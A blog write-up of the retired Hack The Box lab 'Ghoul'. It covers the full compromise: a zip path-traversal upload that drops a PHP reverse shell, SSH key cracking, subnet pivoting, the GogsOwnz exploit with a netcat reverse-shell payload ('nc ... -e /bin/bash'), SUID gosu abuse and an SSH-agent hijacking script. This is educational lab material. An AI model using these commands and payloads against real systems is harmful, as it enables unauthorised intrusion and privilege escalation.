Write-up: HTB Ghoul

Posted on October 05, 2019 in Cybersecurity

This was the first box on Hack The Box I've completed, that has the difficulty hard. It was released on May 4, 2019 and it's a Linux-based machine. Hacking Ghoul was really fun, though, I needed a few hints by other people. The box is now retired, which means I am allowed to post this write-up on my blog.

The greater the obstacle, the more glory in overcoming it. - Moliere


As always, there are different approaches to find the user.txt and root.txt on the system. I have read about an unintended way to root the box in a few minutes ;) I did the following:

After enumerating all the open ports, we discover a file upload mechanism on a webserver. The file upload is restricted to compressed .zip files, however, we can create a file so that it will be uncompressed into the public web directory. By doing this we gain a shell. Basic enumeration on the system will lead to a few unprivileged users. One RSA key, which must be decrypted first, gives us access to another host (a personal computer). From there we can scan a yet unknown subnet, where we find a Git server. Next, we have to use a public exploit for this Git server, which leads to RCE. Once the Git is rooted, we can download a software project, which contains the credentials to become root on the pc. From there, we can hijack a SSH session using SSH agents to eventually spawn a root shell on the host.

Box overview

The box actually consists of three docker containers. We have to get the users from left to right and escalate privileges the opposite direction. The entry point is Aogiri as user www-data.

network diagram

Initial foothold

Network scan

I use both masscan and nmap. Usually, I prefer masscan, if I have to scan larger subnets or all the 65,535 ports of a single host. Experience has shown that in many cases it is sufficient to scan only the first 1,000 ports of HTB machines. I use the -A option, which enables OS detection, version detection and script scanning.

nibess@kali:~$ nmap -A
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-16 23:05 BST
Nmap scan report for
Host is up (0.024s latency).
Not shown: 996 closed ports
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA)
|_  256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Aogiri Tree
2222/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA)
|   256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA)
|_  256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519)
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Aogiri
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.76 seconds

Enumeration of Port 80

Members area

Enumerating the website on port 80, we can see a lot of content related to the manga series Tokyo Ghoul. At the web directory /users we can see a password protected area, which turned out to be a rabbit hole. When we login, the website only says:

Sup?You tryna hunt the ghoul but you get hunted instead. ;)

Later I discovered, that the credentials are hardcoded in this array: array('kaneki' => '123456','noro' => 'password123','admin' => 'abcdef');

Secret chat

A web page, which is actually helpful, is the resource secret.php. Although, it is publicly accessible, my dirb command doesn't detect it. We can learn four potential usernames and potential password from the website.

Enumeration of Port 22 and 2222

SSH on both ports seem to be 'secure'. I personally never experienced an insecure SSH server. However, I was told to never make fixed assumptions, instead formulate hypothesis, say it's unlikely that SSH is vulnerable, but possible.

Enumeration of Port 8080

The website on port 8080 uses HTTP basic authentication to protect the web page. However, the credentials admin:admin are easy to guess.

nibess@kali:~$ dirb /usr/share/wordlists/dirb/common.txt -u admin:admin
---- Scanning URL: ----
+ (CODE:302|SIZE:0)                                  
+ (CODE:302|SIZE:0)                                
+ (CODE:405|SIZE:1065)                               
+ (CODE:200|SIZE:43233)                       
+ (CODE:302|SIZE:0)                                   
+ (CODE:302|SIZE:0)                               
+ (CODE:405|SIZE:1065)                            
+ (CODE:302|SIZE:0)  

Spawning a low-privileged shell through .zip file upload

The dirb scan showed a bunch of resources, that can be accessed. Depending on the HTTP status code, I usually re-check all the results manually. The resource /upload gives us a 405 error, which means "Method Not Allowed". This is the case when dirb uses the HTTP request method GET to access the resource, but the webserver expects a POST request.

nibess@kali:~$ curl -X POST -u admin:admin
            <h3><font face="verdana">Sorry this Servlet only handles file upload request</font></h3>
nibess@kali:~$ curl -X POST -u admin:admin -F "data=@test.php"
            <h3><font face="verdana">Hey look who's being Mr. Smarty Pants. We said ONLY zip.</font></h3>

So I tested the supported request method and we were told to upload a file. More precisely, we have to upload a ZIP file. At this point, a fairly well known issue came into my mind - a path traverse issue. I'm not sure how this kind of vulnerability is named correctly (as criticized by LiveOverflow), however, googling for "zip vulnerability" will give the desired results.

My approach to exploit the upload mechanism was very similar to this blog post. I needed a few iterations, because the location, in which the file will be extracted is unclear. Long story short, the location is /var/tmp, hence, we have to extract the archive to ../www/html/.

  1. create a .php file that spawns a reverse shell
  2. rename the file to XXYwwwYhtmlYcmd.php
  3. compress XXYwwwYhtmlYcmd.php to XXYwwwYhtmlYcmd.zip
  4. replace the X by . and Y by / (I used Bless)
  5. upload the modified .zip file
  6. call
nibess@kali:~$ curl -X POST -u admin:admin -F "data=@cmd.zip"
            <h3><font face="verdana">File Uploaded Successfully </font></h3>

Unprivileged user (user.txt)


In /var/backups/backups we find a few files, which seem to be not helpful, expect the RSA private keys of three users. Using the keys, we can directly login as Eto and noro. Kanekis key is encrypted.

www-data@Aogiri:~$ ls -lR /var/backups/backups/
total 3836
-rw-r--r-- 1 root root 3886432 Dec 13 13:45 Important.pdf
drwxr-xr-x 2 root root    4096 Dec 13 13:45 keys
-rw-r--r-- 1 root root     112 Dec 13 13:45 note.txt
-rw-r--r-- 1 root root   29380 Dec 13 13:45 sales.xlsx

total 12
-rwxr--r-- 1 root root 1675 Dec 13 13:45 eto.backup
-rwxr--r-- 1 root root 1766 Dec 13 13:45 kaneki.backup
-rwxr--r-- 1 root root 1675 Dec 13 13:45 noro.backup


Nothing interesting, so far, as user noro.

nibess@kali:~/htb/ghoul$ ssh -i noro.key noro@
noro@Aogiri:~$ ls -l
total 4
-rwx------ 1 noro noro 24 Dec 13 13:45 to-do.txt
noro@Aogiri:~$ cat to-do.txt
Need to update backups.


In the home directory of Eto we can see a hint, that there is probably something in the logs. I couldn't find anything. Instead, I discovered a password in the Tomcat configuration. The files in /var/tmp such as angecrypt.py seem to be a rabbit hole, too. At least, I didn't use them.

nibess@kali:~/htb/ghoul$ ssh -i eto.key Eto@
Eto@Aogiri:~$ ls -l
total 4
-rwx------ 1 Eto Eto 92 Dec 13 13:45 alert.txt
Eto@Aogiri:~$ cat alert.txt 
Hey Noro be sure to keep checking the humans for IP logs and chase those little shits down!

Eto@Aogiri:/var/tmp$ ls -la
total 8648
drwxrwxrwt 1 root root    4096 Jan 22 17:09 .
drwxr-xr-x 1 root root    4096 Dec 13 13:45 ..
-rw-r--r-- 1 root root    4404 Jan 22 16:35 angecrypt.py
-rw-r--r-- 1 root root 1677441 Jan 22 16:35 edited_NSA-Report.pdf
-rw-r--r-- 1 root root 5500549 Jan 22 17:09 f.zip
-rw-r--r-- 1 root root 1643841 Jan 22 16:35 hunt.zip
-rw-r--r-- 1 root root     101 Jan 22 16:57 k.zip
-rw-r--r-- 1 root root    1868 Jan 22 16:35 txt

Eto@Aogiri:/usr/share/tomcat7/conf$ less tomcat-users.xml 

  <user username="admin" password="admin" roles="admin" />
  <role rolename="admin" />
  <!--<user username="admin" password="test@aogiri123" roles="admin" />
  <role rolename="admin" />-->


SSH Key Bruteforce

We have to decrypt the SSL key of kaneki, before we can switch to this user. For that, I created a wordlist based on the chat protocol, we have seen in secret.php. I expected the MD5 hash to be the pass-phrase, but this is just another rabbit hole ;) In the end, I used a bash script ssl-crack.sh by TheXero, that is able to find the correct password in our wordlist, we have generated with cewl. By the way, it's always a good idea to note down potential usernames and passwords - often people reuse their passwords.

nibess@kali:~/htb/ghoul$ cewl > cewl.lst
nibess@kali:~/htb/ghoul$ ssl-crack.sh kaneki.key
Password for SSL / SSH Key is: ILoveTouka

Okay, logged in as kaneki, we can see the typical 33 byte long user.txt. Besides that, a hint is given, that says something about Gogs, which is described as painless self-hosted Git service by their creators.

kaneki@Aogiri:~$ ls -l
total 52
-rw------- 1 kaneki kaneki   148 Dec 13 13:45 note.txt
-rwx------ 1 kaneki kaneki   136 Dec 13 13:45 notes
-rwx------ 1 kaneki kaneki 39382 Dec 13 13:45 secret.jpg
-rwx------ 1 kaneki kaneki    33 Dec 13 13:45 user.txt
kaneki@Aogiri:~$ cat note.txt 
Vulnerability in Gogs was detected. I shutdown the registration function on our server, please ensure that no one gets access to the test accounts.

Privilege escalation on host Aogiri (root.txt)


Network scan

In order to find that host (Gogs is definitely not running on this host), I uploaded nmap as static binary to run it on Aogiri. Indeed, we are not alone in this subnet. Unfortunately, only port 22 is open on

kaneki@Aogiri:/tmp/.a$ ./nmap -sP 172.20.*.*

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-26 17:33 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for Aogiri (
Host is up (0.00074s latency).
Nmap scan report for Aogiri (
Host is up (0.00020s latency).
Nmap scan report for 64978af526b2.Aogiri (
Host is up (0.00048s latency).

kaneki@Aogiri:/tmp/.a$ ./nmap -p-

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-26 17:35 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 64978af526b2.Aogiri (
Host is up (0.00020s latency).
Not shown: 65534 closed ports
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 4.10 seconds


Next, we need to find out, how to login into the host with the IP address (kaneki-pc). On Aogiri we can find the public key of kaneki_pub@kaneki-pc in authorized_keys (in the home directory of the user kaneki). Using the user kaneki_pub and the private key, we already know, we are able to login to kaneki-pc. We note down the user AogiriTest. However, this doesn't seem to be the Gogs server ...

kaneki_pub@kaneki-pc:~$ cat to-do.txt 
Give AogiriTest user access to Eto for git.

kaneki_pub@kaneki-pc:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast
        ether 02:42:ac:14:00:96  txqueuelen 0  (Ethernet)
        RX packets 156784  bytes 9225633 (9.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 70129  bytes 4311803 (4.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast
        ether 02:42:ac:12:00:c8  txqueuelen 0  (Ethernet)
        RX packets 2103  bytes 400002 (400.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2332  bytes 423170 (423.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Interestingly, this host has more than one ethernet interface, which reveals another subnet Again, I scanned the subnet using nmap. We can find the host cuff_web_1.cuff_default (, which has port 3000 open.

kaneki_pub@kaneki-pc:/dev/shm$ ./nmap -Pn 172.18.*.*

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-26 17:52 GMT
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for
Host is up (0.0000060s latency).
All 1207 scanned ports on are filtered

Nmap scan report for Aogiri (
Host is up (0.00053s latency).
Not shown: 1204 closed ports
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-alt

Nmap scan report for cuff_web_1.cuff_default (
Host is up (0.00048s latency).
Not shown: 1206 closed ports
22/tcp open  ssh

Nmap scan report for
Host is up.
All 1207 scanned ports on are filtered

kaneki_pub@kaneki-pc:/dev/shm$ ./nmap -p-

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-26 17:52 GMT
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for cuff_web_1.cuff_default (
Host is up (0.00044s latency).
Not shown: 65533 closed ports
22/tcp   open  ssh
3000/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 4.12 seconds

Local Port Forwarding & GogsOwnz

A simple wget confirms, that we have Gogs running on port 3000. I set up local port forwarding to access the web interface of Gogs directly in the webbrowser. Alternatively, we could capture the HTTP packets, to get the header. This will be needed to exploit Gogs.

# localhost:4000 <--->
nibess@kali:~/htb/ghoul$ ssh -i kaneki2.key kaneki@ -L 4000:localhost:4000
Last login: Sat May 18 18:00:03 2019 from

# localhost:4000 <---> <---> <--->
kaneki@Aogiri:/tmp$ ssh -i dec kaneki_pub@ -L 4000:
Last login: Sat May 18 18:02:20 2019 from

The website says, we are dealing with Gogs Version: This version is vulnerable to authenticated RCE, as a quick Google search showed. There is even a working exploit published for this version on GitHub. GogsOwnz is authenticated only, so we need to figure out the user and password. Fortunately, we already know both username and password: it's AogiriTest:test@aogiri123.

network diagram

So, we use GogsOwnz as described on the GitHub readme page to spawn a shell as user git. Further, I added my public key in authorized_keys to get a better shell.

python3 gogsownz.py -v -n 'i_like_gogits' -c '77565c9cf7d62c0e' -C 'AogiriTest:test@aogiri123'  --rce '/usr/bin/nc 6666 -e /bin/bash'


Escalate Privileges on 3713ea5e4353

The steps needed to become root on Gogs are quite simple. I ran LinEnum and found a suspicious SUID file. Every user on the system can run /usr/sbin/gosu with the permissions of the owner (root). By the way, I can highly recommend GTFOBins to look up unix binaries.

3713ea5e4353:/tmp$ ./LinEnum.sh 
[-] SUID files:
-rwsr-xr-x    1 root     root         47376 May 19  2018 /usr/bin/passwd
-rwsr-xr-x    1 root     root         55200 May 19  2018 /usr/bin/gpasswd
-rwsr-xr-x    1 root     root         55408 May 19  2018 /usr/bin/chage
-rwsr-xr-x    1 root     root         41848 May 19  2018 /usr/bin/chfn
-rwsr-xr-x    1 root     root         32256 May 19  2018 /usr/bin/chsh
-rwsr-xr-x    1 root     root         32088 May 19  2018 /usr/bin/newgrp
-rwsr-xr-x    1 root     root         18608 May 19  2018 /usr/bin/expiry
-rws--x--x    1 root     root       1286720 May 24  2017 /usr/sbin/gosu
-rwsr-xr-x    1 root     root         36560 May 19  2018 /bin/su

3713ea5e4353:/tmp$ /usr/sbin/gosu root:root bash -c '/bin/bash'
bash-4.4# ls -l /root
total 120
-rw-r--r--    1 root     root        117507 Dec 29 06:40 aogiri-app.7z
-rwxr-xr-x    1 root     root           179 Dec 16 07:10 session.sh

I downloaded and extracted the file aogiri-app.7z to my local machine.


The .7z archive will eventually lead to the password for root@kaneki-pc. This wasn't obvious to me, because I only looked at the code.

In a subdirectory of the chat app, we discover a Git repository. Using the command git log we see a commit with the message "noro stop doing stupid shit". When we look at the discriminative lines compared to the previous commit, we see a password.

nibess@kali:~/htb/ghoul/aogiri-app/aogiri-chatapp$ git diff b3752e00721b4b87c99ef58e3a54143061b20b99 e29ad435b1cf4d9e777223a133a5b0a9aaa20625 
diff --git a/src/main/java/com/aogiri/aogirichatapp/service/ChatBotService.java b/src/main/java/com/aogiri/aogirichatapp/service/ChatBotService.java
@@ -1,7 +1,7 @@


Using the password, stored in the chat app, we can switch to the root user on kaneki-pc. By doing this, we gain access to the user kaneki_adm, too. Normally, the root flag is stored in /root/root.txt. But this root.txt is 110 bytes long ...

You've done well to come upto here human. But what you seek doesn't lie here. The journey isn't over yet.....


So far, two out of three hosts are rooted now. In order to root the remaining host Aogiri, the tool pspy is invaluable.

SSH Agent Hijacking

In the directory /tmp we can see several ssh-* folders, which are an indication of ssh-agents. To confirm this, first I checked whether ssh-agents are enabled and then ran pspy to list all running processes.

root@kaneki-pc:/etc/ssh# cat ssh_config | grep -i agent -B 1
Host *
    ForwardAgent yes

root@kaneki-pc:/tmp# ./pspy64
019/05/27 14:36:01 CMD: UID=0    PID=11641  | /usr/sbin/sshd -D -R 
2019/05/27 14:36:01 CMD: UID=104  PID=11642  | sshd: [net]          
2019/05/27 14:36:01 CMD: UID=1001 PID=11643  | sshd: kaneki_adm     
2019/05/27 14:36:01 CMD: UID=1001 PID=11644  | bash -c ssh root@ -p 2222 -t ./log.sh 

In the output of the commands, we can see that kaneki_adm login to (which is the host Aogiri) through an ssh-agent to trigger the logging mechanism. This happens every few minutes. The vulnerability is that every (intermediate) host in this chain must be trustworthy, because they can access the agent socket. However, we have fully compromised kaneki-pc.

The procedure is very well explained here and here. Basically, we have to tell the authentication agent which socket to use. This is done via the environment variable $SSH_AUTH_SOCK. Then we add the private key to the agent and login to Aogiri as user root.

I've found a helpful shell script by another user on this machine (let me know if this is yours!). This is especially important, because there is not much time to type in the commands. Furthermore, we have some debugging output.

root@kaneki-pc:~# cat test.sh

export SSH_AUTH_SOCK=$(find /tmp/ -name "*agent*" | head -n 1)
echo "[+] SSL_AUTH_SOCK value is $SSL_AUTH_SOCK"
echo "[+] attempt @ $(date)"
ssh-add -l
ssh -v -p 2222 root@

root@Aogiri:~# ls -l
total 8
-rwxr-xr-x 1 root root 58 Dec 30 07:28 log.sh
-rw------- 1 root root 33 Dec 28 23:01 root.txt

Finally, we see the 33-byte long root.txt! :)